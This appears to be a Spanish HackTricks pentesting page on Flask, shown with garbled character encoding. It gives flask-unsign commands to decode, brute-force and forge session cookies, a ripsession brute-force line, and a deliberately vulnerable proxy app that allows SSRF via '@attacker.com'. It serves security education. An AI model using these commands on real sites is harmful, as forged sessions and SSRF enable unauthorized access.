Flask
Reading time: 3 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Probablemente, si est谩s participando en un CTF, una aplicaci贸n Flask estar谩 relacionada con SSTI.
Cookies
El nombre de la sesi贸n de cookie por defecto es session
.
Decoder
Decodificador de cookies Flask en l铆nea: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Obt茅n la primera parte de la cookie hasta el primer punto y decodif铆calo en Base64.
echo "ImhlbGxvIg" | base64 -d
La cookie tambi茅n est谩 firmada usando una contrase帽a
Flask-Unsign
Herramienta de l铆nea de comandos para obtener, decodificar, forzar y crear cookies de sesi贸n de una aplicaci贸n Flask adivinando claves secretas.
pip3 install flask-unsign
Decodificar Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Fuerza Bruta
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Firma
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Firmado usando versiones antiguas (legacy)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Herramienta de l铆nea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi en la cookie de sesi贸n de Flask con SQLmap
Este ejemplo utiliza la opci贸n eval
de sqlmap para firmar autom谩ticamente las cargas 煤tiles de sqlmap para Flask usando un secreto conocido.
Proxy de Flask a SSRF
En este informe se explica c贸mo Flask permite una solicitud que comienza con el car谩cter "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
En el siguiente escenario:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Podr铆a permitir introducir algo como "@attacker.com" para causar un SSRF.
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.